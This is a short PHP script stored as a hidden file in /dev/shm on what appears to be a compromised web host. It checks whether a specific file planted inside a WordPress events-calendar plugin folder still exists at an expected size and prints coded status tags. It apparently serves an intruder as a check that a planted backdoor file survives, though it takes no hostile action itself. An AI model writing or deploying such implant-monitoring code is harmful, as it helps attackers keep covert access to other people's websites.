File: //dev/shm/.descriptor
<?php $r = '/home/sdmepqvf/public_html'; $x = ["/wp-content/plugins/the-events-calendar/src/views/v2/event-status/status-label/canceled.label.php"=>"bd@@282744175@@2196"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d</$t>\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs</$t>\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d</$t>\n"; } } } die('!end!');